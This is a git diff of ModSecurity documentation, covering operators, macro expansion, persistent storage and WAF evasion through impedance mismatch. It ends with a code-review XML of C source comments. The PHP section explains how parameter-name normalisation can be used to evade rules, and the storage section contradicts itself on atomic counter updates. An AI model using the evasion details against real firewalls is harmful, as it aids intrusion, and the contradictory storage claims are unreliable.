<literal>verifyCC</literal> - Description: This operator verifies a given regular expression as a - potential credit card number. It first matches with a single generic regular expression then - runs the resulting match through a Luhn checksum algorithm to further verify it as a - potential credit card number. + + Description: This operator verifies a given + regular expression as a potential credit card number. It first matches + with a single generic regular expression then runs the resulting match + through a Luhn checksum algorithm to further verify it as a potential + credit card number. + Example: + SecRule ARGS "@verifyCC \d{13,16}" \ "phase:2,sanitiseMatched,log,auditlog,pass,msg:'Potential credit card number'"
+
<literal>within</literal> - Description: This operator is a string comparison and returns true - if the input value is found anywhere within the parameter value. Note that this is similar - to @contains, except that the target and match values are reversed. Macro - expansion is performed so you may use variable names such as %{TX.1}, etc. + + Description: This operator is a string + comparison and returns true if the input value is found anywhere within + the parameter value. Note that this is similar to + @contains, except that the target and match values + are reversed. Macro expansion is performed so you may use variable names + such as %{TX.1}, etc. + Example: + SecRule REQUEST_METHOD "!@within get,post,head" t:lowercase,deny,status:403 SecAction "pass,setvar:'tx.allowed_methods=get,post,head'" SecRule REQUEST_METHOD "!@within %{tx.allowed_methods}" t:lowercase,deny,status:403
+
Macro Expansion - Macros allow for using place holders in rules that will be expanded out to their values at - runtime. Currently only variable expansion is supported, however more options may be added in - future versions of ModSecurity. + + Macros allow for using place holders in rules that will be expanded + out to their values at runtime. Currently only variable expansion is + supported, however more options may be added in future versions of + ModSecurity. + Format: + %{VARIABLE} %{COLLECTION.VARIABLE} - Macro expansion can be used in actions such as initcol, setsid, setuid, setvar, setenv, - logdata. Operators that are evaluated at runtime support expansion and are noted above. Such - operators include @beginsWith, @endsWith, @contains, @within and @streq. You cannot use macro - expansion for operators that are "compiled" such as @pm, @rx, etc. as these operators have - their values fixed at configure time for efficiency. - Some values you may want to expand include: TX, REMOTE_ADDR, USERID, HIGHEST_SEVERITY, - MATCHED_VAR, MATCHED_VAR_NAME, MULTIPART_STRICT_ERROR, RULE, SESSION, USERID, among - others. + + Macro expansion can be used in actions such as initcol, setsid, + setuid, setvar, setenv, logdata. Operators that are evaluated at runtime + support expansion and are noted above. Such operators include @beginsWith, + @endsWith, @contains, @within and @streq. You cannot use macro expansion + for operators that are "compiled" such as @pm, @rx, etc. as these + operators have their values fixed at configure time for efficiency. + + Some values you may want to expand include: TX, REMOTE_ADDR, USERID, + HIGHEST_SEVERITY, MATCHED_VAR, MATCHED_VAR_NAME, MULTIPART_STRICT_ERROR, + RULE, SESSION, USERID, among others.
+
Persistant Storage - At this time it is only possible to have three collections in which data is stored - persistantly (i.e. data available to multiple requests). These are: IP, SESSION and USER. - Every collection contains several built-in variables that are available and are read-only - unless otherwise specified: + + At this time it is only possible to have three collections in which + data is stored persistantly (i.e. data available to multiple requests). + These are: IP, SESSION and USER. + + Every collection contains several built-in variables that are + available and are read-only unless otherwise specified: + - CREATE_TIME - date/time of the creation of the - collection. + CREATE_TIME - date/time of + the creation of the collection. + - IS_NEW - set to 1 if the collection is new (not yet - persisted) otherwise set to 0. + IS_NEW - set to 1 if the + collection is new (not yet persisted) otherwise set to 0. + - KEY - the value of the initcol variable (the - client's IP address in the example). + KEY - the value of the + initcol variable (the client's IP address in the example). + - LAST_UPDATE_TIME - date/time of the last update to - the collection. + LAST_UPDATE_TIME - date/time + of the last update to the collection. + - TIMEOUT - date/time in seconds when the collection - will be updated on disk from memory (if no other updates occur). This variable may be set - if you wish to specifiy an explicit expiration time (default is 3600 seconds). + TIMEOUT - date/time in + seconds when the collection will be updated on disk from memory (if no + other updates occur). This variable may be set if you wish to specifiy + an explicit expiration time (default is 3600 seconds). + - UPDATE_COUNTER - how many times the collection has - been updated since creation. + UPDATE_COUNTER - how many + times the collection has been updated since creation. + - UPDATE_RATE - is the average rate updates per - minute since creation. + UPDATE_RATE - is the average + rate updates per minute since creation. - To create a collection to hold session variables (SESSION) use action setsid. To create a - collection to hold user variables (USER) use action - setuid. To create a collection to hold client address - variables (IP) use action initcol. + + To create a collection to hold session variables (SESSION) use action setsid. To create a collection to hold user + variables (USER) use action setuid. To create a collection to hold client + address variables (IP) use action + initcol. + - ModSecurity implements atomic updates of persistent variables only for integer variables - (counters) at this time. Variables are read from storage whenever initcol - is encountered in the rules and persisted at the end of request processing. Counters are - adjusted by applying a delta generated by re-reading the persisted data just before being - persisted. This keeps counter data consistent even if the counter was modified and persisted - by another thread/process during the transaction. + ModSecurity implements atomic updates of persistent variables only + for integer variables (counters) at this time. Variables are read from + storage whenever initcol is encountered in the rules + and persisted at the end of request processing. Counters are adjusted by + applying a delta generated by re-reading the persisted data just before + being persisted. This keeps counter data consistent even if the counter + was modified and persisted by another thread/process during the + transaction. + + Please note that ModSecurity does not implement atomic updates of + persistent variables at this time. Variables are read from storage + whenever initcol is encountered in the rules and + persisted at the end of request processing. On busy servers requests + often run in parallel, leading to situations where one request + overwrites the changes made by another request. We anticipate + implementing atomic updates of counter values in a future + version. + - ModSecurity uses a Berkley Database (SDBM) for persistant storage. This type of database - is generally limited to storing a maximum of 1008 bytes per key. This may be a limitation if - you are attempting to store a considerable amount of data in variables for a single key. - Some of this limitation is planned to be reduced in a future version of ModSecurity. + ModSecurity uses a Berkley Database (SDBM) for persistant storage. + This type of database is generally limited to storing a maximum of 1008 + bytes per key. This may be a limitation if you are attempting to store a + considerable amount of data in variables for a single key. Some of this + limitation is planned to be reduced in a future version of + ModSecurity.
+
Miscellaneous Topics - + + +
Impedance Mismatch - Web application firewalls have a difficult job trying to make sense of data that passes - by, without any knowledge of the application and its business logic. The protection they - provide comes from having an independent layer of security on the outside. Because data - validation is done twice, security can be increased without having to touch the application. - In some cases, however, the fact that everything is done twice brings problems. Problems can - arise in the areas where the communication protocols are not well specified, or where either - the device or the application do things that are not in the specification. In such cases it - may be possible to design payload that will be interpreted in one way by one device and in - another by the other device. This problem is better known as Impedance Mismatch. It can be - exploited to evade the security devices. - While we will continue to enhance ModSecurity to deal with various evasion techniques - the problem can only be minimized, but never solved. With so many different application - backend chances are some will always do something completely unexpected. The only solution - is to be aware of the technologies in the backend when writing rules, adapting the rules to - remove the mismatch. See the next section for some examples. + + Web application firewalls have a difficult job trying to make + sense of data that passes by, without any knowledge of the application + and its business logic. The protection they provide comes from having an + independent layer of security on the outside. Because data validation is + done twice, security can be increased without having to touch the + application. In some cases, however, the fact that everything is done + twice brings problems. Problems can arise in the areas where the + communication protocols are not well specified, or where either the + device or the application do things that are not in the specification. + In such cases it may be possible to design payload that will be + interpreted in one way by one device and in another by the other device. + This problem is better known as Impedance Mismatch. It can be exploited + to evade the security devices. + + While we will continue to enhance ModSecurity to deal with various + evasion techniques the problem can only be minimized, but never solved. + With so many different application backend chances are some will always + do something completely unexpected. The only solution is to be aware of + the technologies in the backend when writing rules, adapting the rules + to remove the mismatch. See the next section for some examples. +
PHP Peculiarities for ModSecurity Users - When writing rules to protect PHP applications you need to pay attention to the - following facts: + + When writing rules to protect PHP applications you need to pay + attention to the following facts: + - When "register_globals" is set to "On" request parameters are automatically - converted to script variables. In some PHP versions it is even possible to override - the $GLOBALS array. + When "register_globals" is set to "On" request parameters + are automatically converted to script variables. In some PHP + versions it is even possible to override the $GLOBALS + array. + - Whitespace at the beginning of parameter names is ignored. (This is very dangerous - if you are writing rules to target specific named variables.) + Whitespace at the beginning of parameter names is ignored. + (This is very dangerous if you are writing rules to target + specific named variables.) + - The remaining whitespace (in parameter names) is converted to underscores. The - same applies to dots and to a "[" if the variable name does not contain a matching - closing bracket. (Meaning that if you want to exploit a script through a variable that - contains an underscore in the name you can send a parameter with a whitespace or a dot - instead.) + The remaining whitespace (in parameter names) is converted + to underscores. The same applies to dots and to a "[" if the + variable name does not contain a matching closing bracket. + (Meaning that if you want to exploit a script through a variable + that contains an underscore in the name you can send a parameter + with a whitespace or a dot instead.) + Cookies can be treated as request parameters. + - The discussion about variable names applies equally to the cookie names. + The discussion about variable names applies equally to the + cookie names. + - The order in which parameters are taken from the request and the environment is - EGPCS (environment, GET, POST, Cookies, built-in variables). This means that a POST - parameter will overwrite the parameters transported on the request line (in - QUERY_STRING). + The order in which parameters are taken from the request and + the environment is EGPCS (environment, GET, POST, Cookies, + built-in variables). This means that a POST parameter will + overwrite the parameters transported on the request line (in + QUERY_STRING). + - When "magic_quotes_gpc" is set to "On" PHP will use backslash to escape the - following characters: single quote, double quote, backslash, and the nul byte. + When "magic_quotes_gpc" is set to "On" PHP will use + backslash to escape the following characters: single quote, double + quote, backslash, and the nul byte. + - If "magic_quotes_sybase" is set to "On" only the single quote will be escaped - using another single quote. In this case the "magic_quotes_gpc" setting becomes - irrelevant. The "magic_quotes_sybase" setting completely overrides the - "magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be set to "On" for the - Sybase-specific quoting to be work. + If "magic_quotes_sybase" is set to "On" only the single + quote will be escaped using another single quote. In this case the + "magic_quotes_gpc" setting becomes irrelevant. The + "magic_quotes_sybase" setting completely overrides the + "magic_quotes_gpc" behaviour but "magic_quotes_gpc" still must be + set to "On" for the Sybase-specific quoting to be work. + - PHP will also automatically create nested arrays for you. For example "p[x][y]=1" - results in a total of three variables. + PHP will also automatically create nested arrays for you. + For example "p[x][y]=1" results in a total of three + variables.
-
+
\ No newline at end of file diff --git a/doc/modsecurity2-data-formats.xml b/doc/modsecurity2-data-formats.xml index 12ffe318..d473023b 100644 --- a/doc/modsecurity2-data-formats.xml +++ b/doc/modsecurity2-data-formats.xml @@ -4,7 +4,7 @@
ModSecurity 2 Data Formats - Version 2.6.0-trunk (December 3, 2008) + Version 2.6.0-trunk (March 5, 2009) 2004-2008 Breach Security, Inc. ( - - - - 2008-01-04 :: 10:55:40:361 GMT-08:00 - 2008-01-11 :: 16:47:15:701 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.normal - Is ENV really cacheable? It could change via setenv. - /* ENV */ - msre_engine_variable_register(engine, - "ENV", - VAR_LIST, - 0, 1, - var_env_validate, - var_env_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 10:57:54:279 GMT-08:00 - 2008-01-11 :: 16:43:38:825 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - GEO is probably not cacheable as it changes with every @geoLookup operator. - /* GEO */ - msre_engine_variable_register(engine, - "GEO", - VAR_LIST, - 1, 1, - var_generic_list_validate, - var_geo_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:02:30:450 GMT-08:00 - 2008-01-11 :: 16:43:20:652 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - GLOBAL is not documented. Is it cacheable? - /* GLOBAL */ - msre_engine_variable_register(engine, - "GLOBAL", - VAR_LIST, - 1, 1, - var_generic_list_validate, - var_global_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:06:50:690 GMT-08:00 - 2008-01-11 :: 16:43:02:916 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - IP undocumented. Probably not cacheable as it can change via setvar, etc. - /* IP */ - msre_engine_variable_register(engine, - "IP", - VAR_LIST, - 1, 1, - var_generic_list_validate, - var_ip_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:08:36:733 GMT-08:00 - 2008-01-11 :: 16:42:44:589 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - RESOURCE is undocumented. Probably not cacheable as it is easily changed. - /* RESOURCE */ - msre_engine_variable_register(engine, - "RESOURCE", - VAR_LIST, - 1, 1, - var_generic_list_validate, - var_resource_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:14:32:043 GMT-08:00 - 2008-01-11 :: 16:41:31:558 GMT-08:00 - - brian - brian - apache2/re_variables.c - item.type.label.suggestion - item.severity.label.trivial - SESSION is probably not cacheable since it is modifyable via setvar. - /* SESSION */ - msre_engine_variable_register(engine, - "SESSION", - VAR_LIST, - 1, 1, - var_generic_list_validate, - var_session_generate, - VAR_CACHE, - PHASE_REQUEST_HEADERS - ); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:25:25:879 GMT-08:00 - 2008-01-11 :: 17:00:23:571 GMT-08:00 - - brian - brian - apache2/apache2_util.c - item.type.label.suggestion - item.severity.label.trivial - Portable way to format sizeof()? - msr_log(msr, 1, "Exec: Unable to allocate %lu bytes.", (unsigned long)sizeof(*procnew)); - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 11:48:52:563 GMT-08:00 - 2008-01-04 :: 11:50:30:473 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.irrelevant - item.severity.label.trivial - This #if 0'd out code should be removed. - /* Removed %0-9 macros as it messes up urlEncoding in the match - * where having '%0a' will be treated as %{TX.0}a, which is incorrect. - * */ -#if 0 - else if ((*(p + 1) >= '0')&&(*(p + 1) <= '9')) { - /* Special case for regex captures. */ - var_name = "TX"; - var_value = apr_pstrmemdup(mptmp, p + 1, 1); - next_text_start = p + 2; - } -#endif - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 11:53:45:291 GMT-08:00 - 2008-01-04 :: 14:51:42:573 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.optimization - item.severity.label.trivial - Use apr_array_pstrcat(msr->mp, arr, NULL) instead? - /* If there's more than one member of the array that - * means there was at least one macro present. Combine - * text parts into a single string now. - */ - if (arr->nelts > 1) { - /* Figure out the required size for the string. */ - var->value_len = 0; - for(i = 0; i < arr->nelts; i++) { - part = ((msc_string **)arr->elts)[i]; - var->value_len += part->value_len; - } - - /* Allocate the string. */ - var->value = apr_palloc(msr->mp, var->value_len + 1); - if (var->value == NULL) return -1; - - /* Combine the parts. */ - offset = 0; - for(i = 0; i < arr->nelts; i++) { - part = ((msc_string **)arr->elts)[i]; - memcpy((char *)(var->value + offset), part->value, part->value_len); - offset += part->value_len; - } - var->value[offset] = '\0'; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 12:00:50:877 GMT-08:00 - 2008-01-04 :: 12:03:50:156 GMT-08:00 - - brian - brian - apache2/re_operators.c - Suggestion - item.severity.label.trivial - Use resolve_relative_path() instead? Maybe a config_relative_path() to just get the path? - /* Get the path of the rule filename to use as a base */ - rulefile_path = apr_pstrndup(rule->ruleset->mp, rule->filename, strlen(rule->filename) - strlen(apr_filepath_name_get(rule->filename))); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 13:23:49:834 GMT-08:00 - 2008-01-11 :: 16:26:24:257 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.clarity - item.severity.label.trivial - Add parens for clarity. - *next++ = '\0'; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 14:54:09:456 GMT-08:00 - 2008-01-04 :: 14:55:05:945 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - Need to check return code and log an error on failure. - acmp_add_pattern(p, buf, NULL, NULL, strlen(buf)); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 14:55:53:308 GMT-08:00 - 2008-01-04 :: 14:56:17:267 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - Need to check return code and log an error on failure. - acmp_prepare(p); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 14:58:08:006 GMT-08:00 - 2008-01-04 :: 15:00:17:190 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.optimization - item.severity.label.minor - See if apr_strmatch is faster. - msre_op_within_execute - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 14:59:32:341 GMT-08:00 - 2008-01-04 :: 14:59:59:858 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.optimization - item.severity.label.minor - See if apr_strmatch is faster. - msre_op_contains_execute - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 15:01:39:208 GMT-08:00 - 2008-01-04 :: 15:02:04:258 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.optimization - item.severity.label.minor - See if apr_strmatch is faster. - msre_op_containsWord_execute - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 15:03:12:792 GMT-08:00 - 2008-01-04 :: 15:04:40:965 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.optimization - item.severity.label.minor - This implementation comment needs to be coded as many string operators now attempt to resolve macros. - /* IMP1 Duplicate the string and create the array on - * demand, thus not having to do it if there are - * no macros in the input data. - */ - - data = apr_pstrdup(mptmp, var->value); /* IMP1 Are we modifying data anywhere? */ - arr = apr_array_make(mptmp, 16, sizeof(msc_string *)); - if ((data == NULL)||(arr == NULL)) return -1; - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 15:12:55:300 GMT-08:00 - 2008-01-04 :: 15:13:19:677 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.minor - Need more unit tests for operators. Start with new operators. - - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 15:36:54:292 GMT-08:00 - 2008-01-04 :: 15:37:50:111 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - @m operator is not documented. This does the same as @contains, so it was suggested earlier to use the @m algorithm for contains (if faster) and drop @m. - /* m */ - msre_engine_op_register(engine, - "m", - msre_op_m_param_init, - msre_op_m_execute - ); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 15:43:40:931 GMT-08:00 - 2008-01-11 :: 16:38:59:940 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - @geoLookup should set error_msg on success to something like "Successful geograpical lookup of \"%s\" at %s." - msre_op_geoLookup_execute - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 15:47:09:574 GMT-08:00 - 2008-01-11 :: 16:40:07:483 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - @rbl fails to set the var name in error_msg. Should append "at %s". - rc = apr_sockaddr_info_get(&sa, name_to_check, - APR_UNSPEC/*msr->r->connection->remote_addr->family*/, 0, 0, msr->mp); - if (rc == APR_SUCCESS) { - *error_msg = apr_psprintf(msr->r->pool, "RBL lookup of %s succeeded.", - log_escape_nq(msr->mp, name_to_check)); - return 1; /* Match. */ - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 15:49:05:878 GMT-08:00 - 2008-01-11 :: 14:56:55:081 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.suggestion - item.severity.label.major - Change from TODO to ENH. - - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 15:54:24:055 GMT-08:00 - 2008-01-11 :: 14:57:08:520 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.suggestion - item.severity.label.trivial - Need to remove the LUA #ifdef's - #ifdef WITH_LUA - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 15:56:23:415 GMT-08:00 - 2008-01-11 :: 14:57:21:641 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.suggestion - item.severity.label.trivial - The LUA #ifdef's should be removed, but if it is decided not to, then this lua call needs to be #ifdef'd. - } else { - /* Execute internally, as Lua script. */ - char *target = apr_pstrmemdup(msr->mp, var->value, var->value_len); - msc_script *script = (msc_script *)rule->op_param_data; - int rc; - - rc = lua_execute(script, target, msr, rule, error_msg); - if (rc < 0) { - /* Error. */ - return -1; - } - - return rc; - } - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 15:58:01:918 GMT-08:00 - 2008-01-04 :: 15:58:58:621 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.major - Need an error_msg set for lua execution error. - rc = lua_execute(script, target, msr, rule, error_msg); - if (rc < 0) { - /* Error. */ - return -1; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:00:09:204 GMT-08:00 - 2008-01-11 :: 16:38:08:350 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - @validateByteRange does not output the VAR name on match. Need to append " at %s." - msre_op_validateByteRange_execute - - - item.resolution.label.invalidWontfix - item.status.label.closed - - - - 2008-01-04 :: 16:02:02:403 GMT-08:00 - 2008-01-04 :: 16:06:22:410 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - @validateurlEncoding does not output VAR name nor offset in error_msg on match. - msre_op_validateUrlEncoding_execute - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:03:51:127 GMT-08:00 - 2008-01-11 :: 16:30:07:550 GMT-08:00 - - brian - brian - apache2/re_operators.c - item.type.label.missing - item.severity.label.trivial - Numeric operators (@eq, etc) do not output VAR name on match. - msre_op_eq_execute -msre_op_gt_execute -msre_op_lt_execute -msre_op_ge_execute -msre_op_le_execute - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 16:12:30:943 GMT-08:00 - 2008-01-11 :: 14:57:45:711 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - No. - /* ENH Do we want to support %{DIGIT} as well? */ - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 16:14:51:515 GMT-08:00 - 2008-01-07 :: 14:22:10:119 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Implement. Need to check if Apache will return an invalid status code - /* status */ -static char *msre_action_status_validate(msre_engine *engine, msre_action *action) { - /* ENH action->param must be a valid HTTP status code. */ - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:15:55:149 GMT-08:00 - 2008-01-04 :: 16:16:52:467 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Implement. - /* pause */ -static char *msre_action_pause_validate(msre_engine *engine, msre_action *action) { - /* ENH Validate a positive number. */ - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:17:34:464 GMT-08:00 - 2008-01-04 :: 16:22:35:501 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Implement as a valid URI check with apr_uri_parse()? - /* redirect */ - -static char *msre_action_redirect_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:22:43:274 GMT-08:00 - 2008-01-04 :: 16:22:54:679 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Implement as a valid URI check with apr_uri_parse()? - /* proxy */ - -static char *msre_action_proxy_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:24:58:322 GMT-08:00 - 2008-01-11 :: 16:13:48:178 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.irrelevant - item.severity.label.trivial - I believe this is already done and comment needs removed. - // TODO: Need to keep track of skipAfter IDs so we can insert placeholders after - // we get to the real rule with that ID. - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 16:26:46:732 GMT-08:00 - 2008-01-04 :: 16:27:54:881 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.irrelevant - item.severity.label.trivial - I do not see a need to validate beyound what is already done in the init function. - msre_action_skip_validate -msre_action_skipAfter_validate - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:28:48:332 GMT-08:00 - 2008-01-04 :: 16:29:03:587 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Implement. - /* phase */ - -static char *msre_action_phase_validate(msre_engine *engine, msre_action *action) { - /* ENH Add validation. */ - return NULL; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:51:52:029 GMT-08:00 - 2008-01-04 :: 17:03:32:872 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Probably should also calc length and validate a length > 0 instead of just checking NULL. Other checks would benefit from checking a length as well, so no harm in calculating that. - if (value == NULL) { - return apr_psprintf(engine->mp, "Missing ctl value for name: %s", name); - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 16:56:10:995 GMT-08:00 - 2008-01-04 :: 16:59:47:800 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.irrelevant - item.severity.label.trivial - Why register init() if we do not use it? - static apr_status_t msre_action_ctl_init(msre_engine *engine, msre_actionset *actionset, - msre_action *action) -{ - /* Do nothing. */ - return 1; -} - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 17:00:49:340 GMT-08:00 - 2008-01-04 :: 17:02:15:141 GMT-08:00 - - brian - brian - apache2/msc_logging.c - item.type.label.programLogic - item.severity.label.trivial - This allows an empty string as a valid part. This misvalidates "ctl:auditLogParts=+", etc. - is_valid_parts_specification - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 17:04:51:155 GMT-08:00 - 2008-01-11 :: 16:12:33:664 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.optimization - item.severity.label.trivial - Inner if's should be else if's. - if (strcasecmp(name, "ruleEngine") == 0) { - if (strcasecmp(value, "on") == 0) { - msr->txcfg->is_enabled = MODSEC_ENABLED; - msr->usercfg->is_enabled = MODSEC_ENABLED; - } - - if (strcasecmp(value, "off") == 0) { - msr->txcfg->is_enabled = MODSEC_DISABLED; - msr->usercfg->is_enabled = MODSEC_DISABLED; - } - - if (strcasecmp(value, "detectiononly") == 0) { - msr->txcfg->is_enabled = MODSEC_DETECTION_ONLY; - msr->usercfg->is_enabled = MODSEC_DETECTION_ONLY; - } - - return 1; - } else - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 17:05:44:757 GMT-08:00 - 2008-01-11 :: 16:12:12:876 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.optimization - item.severity.label.trivial - TODO needs looked into. - if (strcasecmp(name, "auditEngine") == 0) { - if (strcasecmp(value, "on") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_ON; - msr->usercfg->auditlog_flag = AUDITLOG_ON; - } - - if (strcasecmp(value, "off") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_OFF; - msr->usercfg->auditlog_flag = AUDITLOG_OFF; - } - - if (strcasecmp(value, "relevantonly") == 0) { - msr->txcfg->auditlog_flag = AUDITLOG_RELEVANT; - msr->usercfg->auditlog_flag = AUDITLOG_RELEVANT; - } - - msr_log(msr, 4, "Ctl: Set auditEngine to %d.", msr->txcfg->auditlog_flag); // TODO - - return 1; - } else - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-04 :: 17:08:00:396 GMT-08:00 - 2008-01-11 :: 14:59:05:782 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - That warning quieter should be s++. An evil typo that was fixed in 2.1.x, but not trunk! - while(*s != '\0') { - if (*s != c) { - *d++ = *s++; - } else { - (*s)++; /* parens quiet compiler warning */ - } - } - *d = '\0'; - - - item.resolution.label.validNeedsfixing - item.status.label.resolved - - - - 2008-01-04 :: 17:13:11:886 GMT-08:00 - 2008-01-04 :: 17:13:40:681 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Should log an internal error here. - else { - /* ENH Should never happen, but log if it does. */ - return -1; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 11:14:40:912 GMT-08:00 - 2008-01-07 :: 11:15:54:834 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Should log a level 9 msg here. - } else { - /* We could not identify a valid macro so add it as text. */ - part = (msc_string *)apr_pcalloc(mptmp, sizeof(msc_string)); - if (part == NULL) return -1; - part->value_len = p - text_start + 1; /* len(text)+len("%") */ - part->value = apr_pstrmemdup(mptmp, text_start, part->value_len); - *(msc_string **)apr_array_push(arr) = part; - - next_text_start = p + 1; - } - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 11:37:09:009 GMT-08:00 - 2008-01-07 :: 11:41:55:614 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.suggestion - item.severity.label.trivial - Probably should use apr_strtoi64 where we can tell if there was an error in conversion since we are potentially taking a value from a macro expansion. Also may want to look for overflow. - value += atoi(var_value); - - - item.resolution.label.validNeedsfixing - item.status.label.open - - - - 2008-01-07 :: 11:43:13:789 GMT-08:00 - 2008-01-11 :: 16:10:24:140 GMT-08:00 - - brian - brian - apache2/re_actions.c - item.type.label.missing - item.severity.label.trivial - Missing error log needs implemented. - } else { - /* ENH Log warning detected variable name but no collection. */ - return 0; - } 